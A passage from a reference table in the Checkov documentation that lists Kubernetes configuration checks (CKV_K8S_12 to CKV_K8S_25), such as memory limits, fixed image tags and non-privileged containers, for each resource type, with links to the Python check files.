  | Memory requests should be set                                                                                                                                                                  | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py)                                                                       |\n|  51 | CKV_K8S_12  | resource | ReplicationController  | Memory requests should be set                                                                                                                                                                  | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py)                                                                       |\n|  52 | CKV_K8S_12  | resource | StatefulSet            | Memory requests should be set                                                                                                                                                                  | Kubernetes | [MemoryRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryRequests.py)                                                                       |\n|  53 | CKV_K8S_13  | resource | CronJob                | Memory limits should be set                                                                                                                                                                    | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py)                                                                           |\n|  54 | CKV_K8S_13  | resource | DaemonSet              | Memory limits should be set                                                                                                                                                                    | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py)                                                                           |\n|  55 | CKV_K8S_13  | resource | Deployment             | Memory limits should be set                                                                                                                                                                    | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py)                                                                           |\n|  56 | CKV_K8S_13  | resource | DeploymentConfig       | Memory limits should be set                                                                                                                                                                    | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py)                                                                           |\n|  57 | CKV_K8S_13  | resource | Job                    | Memory limits should be set                                                                                                                                                                    | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py)                                                                           |\n|  58 | CKV_K8S_13  | resource | Pod                    | Memory limits should be set                                                                                                                                                                    | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py)                                                                           |\n|  59 | CKV_K8S_13  | resource | PodTemplate            | Memory limits should be set                                                                                                                                                                    | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py)                                                                           |\n|  60 | CKV_K8S_13  | resource | ReplicaSet             | Memory limits should be set                                                                                                                                                                    | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py)                                                                           |\n|  61 | CKV_K8S_13  | resource | ReplicationController  | Memory limits should be set                                                                                                                                                                    | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py)                                                                           |\n|  62 | CKV_K8S_13  | resource | StatefulSet            | Memory limits should be set                                                                                                                                                                    | Kubernetes | [MemoryLimits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MemoryLimits.py)                                                                           |\n|  63 | CKV_K8S_14  | resource | CronJob                | Image Tag should be fixed - not latest or blank                                                                                                                                                | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py)                                                                         |\n|  64 | CKV_K8S_14  | resource | DaemonSet              | Image Tag should be fixed - not latest or blank                                                                                                                                                | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py)                                                                         |\n|  65 | CKV_K8S_14  | resource | Deployment             | Image Tag should be fixed - not latest or blank                                                                                                                                                | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py)                                                                         |\n|  66 | CKV_K8S_14  | resource | DeploymentConfig       | Image Tag should be fixed - not latest or blank                                                                                                                                                | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py)                                                                         |\n|  67 | CKV_K8S_14  | resource | Job                    | Image Tag should be fixed - not latest or blank                                                                                                                                                | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py)                                                                         |\n|  68 | CKV_K8S_14  | resource | Pod                    | Image Tag should be fixed - not latest or blank                                                                                                                                                | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py)                                                                         |\n|  69 | CKV_K8S_14  | resource | PodTemplate            | Image Tag should be fixed - not latest or blank                                                                                                                                                | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py)                                                                         |\n|  70 | CKV_K8S_14  | resource | ReplicaSet             | Image Tag should be fixed - not latest or blank                                                                                                                                                | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py)                                                                         |\n|  71 | CKV_K8S_14  | resource | ReplicationController  | Image Tag should be fixed - not latest or blank                                                                                                                                                | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py)                                                                         |\n|  72 | CKV_K8S_14  | resource | StatefulSet            | Image Tag should be fixed - not latest or blank                                                                                                                                                | Kubernetes | [ImageTagFixed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py)                                                                         |\n|  73 | CKV_K8S_15  | resource | CronJob                | Image Pull Policy should be Always                                                                                                                                                             | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py)                                                         |\n|  74 | CKV_K8S_15  | resource | DaemonSet              | Image Pull Policy should be Always                                                                                                                                                             | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py)                                                         |\n|  75 | CKV_K8S_15  | resource | Deployment             | Image Pull Policy should be Always                                                                                                                                                             | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py)                                                         |\n|  76 | CKV_K8S_15  | resource | DeploymentConfig       | Image Pull Policy should be Always                                                                                                                                                             | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py)                                                         |\n|  77 | CKV_K8S_15  | resource | Job                    | Image Pull Policy should be Always                                                                                                                                                             | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py)                                                         |\n|  78 | CKV_K8S_15  | resource | Pod                    | Image Pull Policy should be Always                                                                                                                                                             | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py)                                                         |\n|  79 | CKV_K8S_15  | resource | PodTemplate            | Image Pull Policy should be Always                                                                                                                                                             | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py)                                                         |\n|  80 | CKV_K8S_15  | resource | ReplicaSet             | Image Pull Policy should be Always                                                                                                                                                             | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py)                                                         |\n|  81 | CKV_K8S_15  | resource | ReplicationController  | Image Pull Policy should be Always                                                                                                                                                             | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py)                                                         |\n|  82 | CKV_K8S_15  | resource | StatefulSet            | Image Pull Policy should be Always                                                                                                                                                             | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py)                                                         |\n|  83 | CKV_K8S_16  | resource | CronJob                | Container should not be privileged                                                                                                                                                             | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py)                                                           |\n|  84 | CKV_K8S_16  | resource | DaemonSet              | Container should not be privileged                                                                                                                                                             | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py)                                                           |\n|  85 | CKV_K8S_16  | resource | Deployment             | Container should not be privileged                                                                                                                                                             | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py)                                                           |\n|  86 | CKV_K8S_16  | resource | DeploymentConfig       | Container should not be privileged                                                                                                                                                             | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py)                                                           |\n|  87 | CKV_K8S_16  | resource | Job                    | Container should not be privileged                                                                                                                                                             | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py)                                                           |\n|  88 | CKV_K8S_16  | resource | Pod                    | Container should not be privileged                                                                                                                                                             | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py)                                                           |\n|  89 | CKV_K8S_16  | resource | PodTemplate            | Container should not be privileged                                                                                                                                                             | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py)                                                           |\n|  90 | CKV_K8S_16  | resource | ReplicaSet             | Container should not be privileged                                                                                                                                                             | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py)                                                           |\n|  91 | CKV_K8S_16  | resource | ReplicationController  | Container should not be privileged                                                                                                                                                             | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py)                                                           |\n|  92 | CKV_K8S_16  | resource | StatefulSet            | Container should not be privileged                                                                                                                                                             | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py)                                                           |\n|  93 | CKV_K8S_17  | resource | CronJob                | Containers should not share the host process ID namespace                                                                                                                                      | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py)                                                                           |\n|  94 | CKV_K8S_17  | resource | DaemonSet              | Containers should not share the host process ID namespace                                                                                                                                      | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py)                                                                           |\n|  95 | CKV_K8S_17  | resource | Deployment             | Containers should not share the host process ID namespace                                                                                                                                      | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py)                                                                           |\n|  96 | CKV_K8S_17  | resource | Job                    | Containers should not share the host process ID namespace                                                                                                                                      | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py)                                                                           |\n|  97 | CKV_K8S_17  | resource | Pod                    | Containers should not share the host process ID namespace                                                                                                                                      | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py)                                                                           |\n|  98 | CKV_K8S_17  | resource | ReplicaSet             | Containers should not share the host process ID namespace                                                                                                                                      | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py)                                                                           |\n|  99 | CKV_K8S_17  | resource | ReplicationController  | Containers should not share the host process ID namespace                                                                                                                                      | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py)                                                                           |\n| 100 | CKV_K8S_17  | resource | StatefulSet            | Containers should not share the host process ID namespace                                                                                                                                      | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py)                                                                           |\n| 101 | CKV_K8S_18  | resource | CronJob                | Containers should not share the host IPC namespace                                                                                                                                             | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py)                                                                           |\n| 102 | CKV_K8S_18  | resource | DaemonSet              | Containers should not share the host IPC namespace                                                                                                                                             | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py)                                                                           |\n| 103 | CKV_K8S_18  | resource | Deployment             | Containers should not share the host IPC namespace                                                                                                                                             | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py)                                                                           |\n| 104 | CKV_K8S_18  | resource | Job                    | Containers should not share the host IPC namespace                                                                                                                                             | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py)                                                                           |\n| 105 | CKV_K8S_18  | resource | Pod                    | Containers should not share the host IPC namespace                                                                                                                                             | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py)                                                                           |\n| 106 | CKV_K8S_18  | resource | ReplicaSet             | Containers should not share the host IPC namespace                                                                                                                                             | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py)                                                                           |\n| 107 | CKV_K8S_18  | resource | ReplicationController  | Containers should not share the host IPC namespace                                                                                                                                             | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py)                                                                           |\n| 108 | CKV_K8S_18  | resource | StatefulSet            | Containers should not share the host IPC namespace                                                                                                                                             | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py)                                                                           |\n| 109 | CKV_K8S_19  | resource | CronJob                | Containers should not share the host network namespace                                                                                                                                         | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py)                                               |\n| 110 | CKV_K8S_19  | resource | DaemonSet              | Containers should not share the host network namespace                                                                                                                                         | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py)                                               |\n| 111 | CKV_K8S_19  | resource | Deployment             | Containers should not share the host network namespace                                                                                                                                         | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py)                                               |\n| 112 | CKV_K8S_19  | resource | Job                    | Containers should not share the host network namespace                                                                                                                                         | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py)                                               |\n| 113 | CKV_K8S_19  | resource | Pod                    | Containers should not share the host network namespace                                                                                                                                         | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py)                                               |\n| 114 | CKV_K8S_19  | resource | ReplicaSet             | Containers should not share the host network namespace                                                                                                                                         | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py)                                               |\n| 115 | CKV_K8S_19  | resource | ReplicationController  | Containers should not share the host network namespace                                                                                                                                         | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py)                                               |\n| 116 | CKV_K8S_19  | resource | StatefulSet            | Containers should not share the host network namespace                                                                                                                                         | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py)                                               |\n| 117 | CKV_K8S_20  | resource | CronJob                | Containers should not run with allowPrivilegeEscalation                                                                                                                                        | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py)                                                   |\n| 118 | CKV_K8S_20  | resource | DaemonSet              | Containers should not run with allowPrivilegeEscalation                                                                                                                                        | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py)                                                   |\n| 119 | CKV_K8S_20  | resource | Deployment             | Containers should not run with allowPrivilegeEscalation                                                                                                                                        | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py)                                                   |\n| 120 | CKV_K8S_20  | resource | DeploymentConfig       | Containers should not run with allowPrivilegeEscalation                                                                                                                                        | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py)                                                   |\n| 121 | CKV_K8S_20  | resource | Job                    | Containers should not run with allowPrivilegeEscalation                                                                                                                                        | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py)                                                   |\n| 122 | CKV_K8S_20  | resource | Pod                    | Containers should not run with allowPrivilegeEscalation                                                                                                                                        | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py)                                                   |\n| 123 | CKV_K8S_20  | resource | PodTemplate            | Containers should not run with allowPrivilegeEscalation                                                                                                                                        | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py)                                                   |\n| 124 | CKV_K8S_20  | resource | ReplicaSet             | Containers should not run with allowPrivilegeEscalation                                                                                                                                        | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py)                                                   |\n| 125 | CKV_K8S_20  | resource | ReplicationController  | Containers should not run with allowPrivilegeEscalation                                                                                                                                        | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py)                                                   |\n| 126 | CKV_K8S_20  | resource | StatefulSet            | Containers should not run with allowPrivilegeEscalation                                                                                                                                        | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py)                                                   |\n| 127 | CKV_K8S_21  | resource | ConfigMap              | The default namespace should not be used                                                                                                                                                       | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                   |\n| 128 | CKV_K8S_21  | resource | CronJob                | The default namespace should not be used                                                                                                                                                       | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                   |\n| 129 | CKV_K8S_21  | resource | DaemonSet              | The default namespace should not be used                                                                                                                                                       | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                   |\n| 130 | CKV_K8S_21  | resource | Deployment             | The default namespace should not be used                                                                                                                                                       | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                   |\n| 131 | CKV_K8S_21  | resource | Ingress                | The default namespace should not be used                                                                                                                                                       | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                   |\n| 132 | CKV_K8S_21  | resource | Job                    | The default namespace should not be used                                                                                                                                                       | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                   |\n| 133 | CKV_K8S_21  | resource | Pod                    | The default namespace should not be used                                                                                                                                                       | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                   |\n| 134 | CKV_K8S_21  | resource | ReplicaSet             | The default namespace should not be used                                                                                                                                                       | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                   |\n| 135 | CKV_K8S_21  | resource | ReplicationController  | The default namespace should not be used                                                                                                                                                       | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                   |\n| 136 | CKV_K8S_21  | resource | Role                   | The default namespace should not be used                                                                                                                                                       | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                   |\n| 137 | CKV_K8S_21  | resource | RoleBinding            | The default namespace should not be used                                                                                                                                                       | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                   |\n| 138 | CKV_K8S_21  | resource | Secret                 | The default namespace should not be used                                                                                                                                                       | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                   |\n| 139 | CKV_K8S_21  | resource | Service                | The default namespace should not be used                                                                                                                                                       | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                   |\n| 140 | CKV_K8S_21  | resource | ServiceAccount         | The default namespace should not be used                                                                                                                                                       | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                   |\n| 141 | CKV_K8S_21  | resource | StatefulSet            | The default namespace should not be used                                                                                                                                                       | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py)                                                                   |\n| 142 | CKV_K8S_22  | resource | CronJob                | Use read-only filesystem for containers where possible                                                                                                                                         | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py)                                                               |\n| 143 | CKV_K8S_22  | resource | DaemonSet              | Use read-only filesystem for containers where possible                                                                                                                                         | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py)                                                               |\n| 144 | CKV_K8S_22  | resource | Deployment             | Use read-only filesystem for containers where possible                                                                                                                                         | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py)                                                               |\n| 145 | CKV_K8S_22  | resource | DeploymentConfig       | Use read-only filesystem for containers where possible                                                                                                                                         | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py)                                                               |\n| 146 | CKV_K8S_22  | resource | Job                    | Use read-only filesystem for containers where possible                                                                                                                                         | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py)                                                               |\n| 147 | CKV_K8S_22  | resource | Pod                    | Use read-only filesystem for containers where possible                                                                                                                                         | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py)                                                               |\n| 148 | CKV_K8S_22  | resource | PodTemplate            | Use read-only filesystem for containers where possible                                                                                                                                         | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py)                                                               |\n| 149 | CKV_K8S_22  | resource | ReplicaSet             | Use read-only filesystem for containers where possible                                                                                                                                         | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py)                                                               |\n| 150 | CKV_K8S_22  | resource | ReplicationController  | Use read-only filesystem for containers where possible                                                                                                                                         | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py)                                                               |\n| 151 | CKV_K8S_22  | resource | StatefulSet            | Use read-only filesystem for containers where possible                                                                                                                                         | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py)                                                               |\n| 152 | CKV_K8S_23  | resource | CronJob                | Minimize the admission of root containers                                                                                                                                                      | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py)                                                                       |\n| 153 | CKV_K8S_23  | resource | DaemonSet              | Minimize the admission of root containers                                                                                                                                                      | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py)                                                                       |\n| 154 | CKV_K8S_23  | resource | Deployment             | Minimize the admission of root containers                                                                                                                                                      | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py)                                                                       |\n| 155 | CKV_K8S_23  | resource | Job                    | Minimize the admission of root containers                                                                                                                                                      | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py)                                                                       |\n| 156 | CKV_K8S_23  | resource | Pod                    | Minimize the admission of root containers                                                                                                                                                      | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py)                                                                       |\n| 157 | CKV_K8S_23  | resource | ReplicaSet             | Minimize the admission of root containers                                                                                                                                                      | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py)                                                                       |\n| 158 | CKV_K8S_23  | resource | ReplicationController  | Minimize the admission of root containers                                                                                                                                                      | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py)                                                                       |\n| 159 | CKV_K8S_23  | resource | StatefulSet            | Minimize the admission of root containers                                                                                                                                                      | Kubernetes | [RootContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainers.py)                                                                       |\n| 160 | CKV_K8S_24  | resource | PodSecurityPolicy      | Do not allow containers with added capability                                                                                                                                                  | Kubernetes | [AllowedCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesPSP.py)                                                       |\n| 161 | CKV_K8S_25  | resource | CronJob                | Minimize the admission of containers with added capability                                                                                                                                     | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py)                                                             |\n| 162 | CKV_K8S_25  | resource | DaemonSet              | Minimize the admission of containers with added capability                                                                                                                                     | Kubernetes | [AllowedCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py)                                                             |\n| 163 | CKV_K8S_25  | resource | Deployment             | Minimize the admission of containers with added capability                                                                                                                                     | Kubernetes | 